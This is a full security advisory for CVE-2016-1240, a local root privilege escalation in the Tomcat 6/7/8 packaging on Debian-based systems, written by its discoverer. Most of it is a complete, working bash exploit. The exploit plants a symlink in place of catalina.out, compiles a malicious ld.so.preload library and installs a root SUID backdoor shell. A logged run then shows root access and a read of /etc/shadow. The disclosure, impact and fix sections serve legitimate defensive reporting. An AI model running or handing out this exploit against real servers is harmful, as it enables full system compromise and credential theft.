=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-1240
- Release date: 30.09.2016
- Revision: 1
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

Apache Tomcat packaging on Debian-based distros - Local Root Privilege Escalation

Affected debian packages:

Tomcat 8 <= 8.0.36-2 
Tomcat 7 <= 7.0.70-2      
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

Ubuntu systems are also affected. See section VII. for details.
Other systems using the affected debian packages may also be affected.


II. BACKGROUND
-------------------------

"The Apache TomcatÂ® software is an open source implementation of the 
Java Servlet, JavaServer Pages, Java Expression Language and Java WebSocket 
technologies. The Java Servlet, JavaServer Pages, Java Expression Language 
and Java WebSocket specifications are developed under the Java Community 
Process.

The Apache Tomcat software is developed in an open and participatory 
environment and released under the Apache License version 2. 
The Apache Tomcat project is intended to be a collaboration of the 
best-of-breed developers from around the world.

Apache Tomcat software powers numerous large-scale, mission-critical web 
applications across a diverse range of industries and organizations. 
Some of these users and their stories are listed on the PoweredBy wiki page.
"

http://tomcat.apache.org/


III. INTRODUCTION
-------------------------

Tomcat (6, 7, 8) packages provided by default repositories on Debian-based 
distributions (including Debian, Ubuntu etc.) provide a vulnerable
tomcat init script that allows local attackers who have already gained access 
to the tomcat account (for example, by exploiting an RCE vulnerability
in a java web application hosted on Tomcat, uploading a webshell etc.) to
escalate their privileges from tomcat user to root and fully compromise the 
target system.

IV. DESCRIPTION
-------------------------

The vulnerability is located in the tomcat init script provided by affected
packages, normally installed at /etc/init.d/tomcatN. 

The script for tomcat7 contains the following lines:

-----[tomcat7]----

# Run the catalina.sh script as a daemon
set +e
touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out

-------[eof]------

Local attackers who have gained access to the server in the context of the
tomcat user (for example, through a vulnerability in a web application) would 
be able to replace the log file with a symlink to an arbitrary system file 
and escalate their privileges to root once Tomcat init script (running as root)
re-opens the catalina.out file after a service restart, reboot etc.

As attackers would already have a tomcat account at the time of exploitation,
they could also kill the tomcat processes to introduce the need for a restart.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

------[ tomcat-rootprivesc-deb.sh ]------

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
	# Cleanup 
	echo -e "\n[+] Cleaning up..."
	rm -f $PRIVESCSRC
	rm -f $PRIVESCLIB
	rm -f $TOMCATLOG
	touch $TOMCATLOG
	if [ -f /etc/ld.so.preload ]; then
		echo -n > /etc/ld.so.preload 2>/dev/null
	fi
	echo -e "\n[+] Job done. Exiting with code $1 \n"
	exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
	cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
	echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
	exit 3
fi
if [ "$2" = "-deferred" ]; then
	mode="deferred"
else
	mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
	echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
	exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
	echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
	exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
	rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
	if [ $? -ne 0 ]; then
		echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
		cleanexit 3
	fi
	echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
	echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
	echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
	echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
	echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)\n\n"
	exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
	static uid_t  (*old_geteuid)();
	old_geteuid = dlsym(RTLD_NEXT, "geteuid");
	if ( old_geteuid() == 0 ) {
		chown("$BACKDOORPATH", 0, 0);
		chmod("$BACKDOORPATH", 04777);
		unlink("/etc/ld.so.preload");
	}
	return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
	echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
	cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
	echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
	cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
	echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
	cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)"
while :; do 
	sleep 0.1
	if [ -f /etc/ld.so.preload ]; then
		echo $PRIVESCLIB > /etc/ld.so.preload
		break;
	fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
	echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
	echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
else
	echo -e "\n[!] Failed to get root"
	cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

--------------[ EOF ]--------------------



Example exploit run:
~~~~~~~~~~~~~~

tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04 LTS
Release:	16.04
Codename:	xenial

tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
ii  libtomcat7-java              7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- core libraries
ii  tomcat7                      7.0.68-1ubuntu0.1               all          Servlet and JSP engine
ii  tomcat7-common               7.0.68-1ubuntu0.1               all          Servlet and JSP engine -- common files

tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out 
 
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240

Discovered and coded by: 

Dawid Golunski 
http://legalhackers.com 

[+] Starting the exploit in [active] mode with the following privileges: 
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)

[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out

[+] Compiling the privesc shared library (/tmp/privesclib.c)

[+] Backdoor/low-priv shell installed at: 
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh

[+] Symlink created at: 
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload

[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)

[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: 
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload

[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload

[+] The /etc/ld.so.preload file now contains: 
/tmp/privesclib.so

[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!

[+] Rootshell got assigned root SUID perms at: 
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh

Please tell me you're seeing this too ;) 

[+] Executing the rootshell /tmp/tomcatrootsh now! 

tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
root
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:16912:0:99999:7:::
daemon:*:16912:0:99999:7:::
bin:*:16912:0:99999:7:::
tomcatrootsh-4.3# exit
exit

[+] Cleaning up...

[+] Job done. Exiting with code 0 



VI. BUSINESS IMPACT
-------------------------

Local attackers who have gained access to tomcat user account (for example 
remotely via a vulnerable web application, or locally via weak webroot perms),
could escalate their privileges to root and fully compromise the affected system.

 
VII. SYSTEMS AFFECTED
-------------------------

The following Debian package versions are affected:

Tomcat 8 <= 8.0.36-2
Tomcat 7 <= 7.0.70-2
Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

A more detailed lists of affected packages can be found at:

Debian:
https://security-tracker.debian.org/tracker/CVE-2016-1240

Ubuntu:
http://www.ubuntu.com/usn/usn-3081-1/

Other systmes that use Tomcat packages provided by Debian may also be affected.

 
VIII. SOLUTION
-------------------------

Debian Security Team was contacted and has fixed affected upstream packages.
Update to the latest tomcat packages provided by your distribution.
 
IX. REFERENCES
-------------------------

http://legalhackers.com

http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html

The exploit's sourcecode
http://legalhackers.com/exploits/tomcat-rootprivesc-deb.sh

CVE-2016-1240
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1240

Ubuntu Security Notice USN-3081-1:
http://www.ubuntu.com/usn/usn-3081-1/

Debian Security Advisory DSA-3669-1 (tomcat7):
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669

Debian Security Advisory DSA-3670-1 (tomcat8):
https://www.debian.org/security/2016/dsa-3670

https://security-tracker.debian.org/tracker/CVE-2016-1240


X. CREDITS
-------------------------

The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com
http://legalhackers.com
 
XI. REVISION HISTORY
-------------------------

30.09.2016 - Advisory released
 
XII. LEGAL NOTICES
-------------------------

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.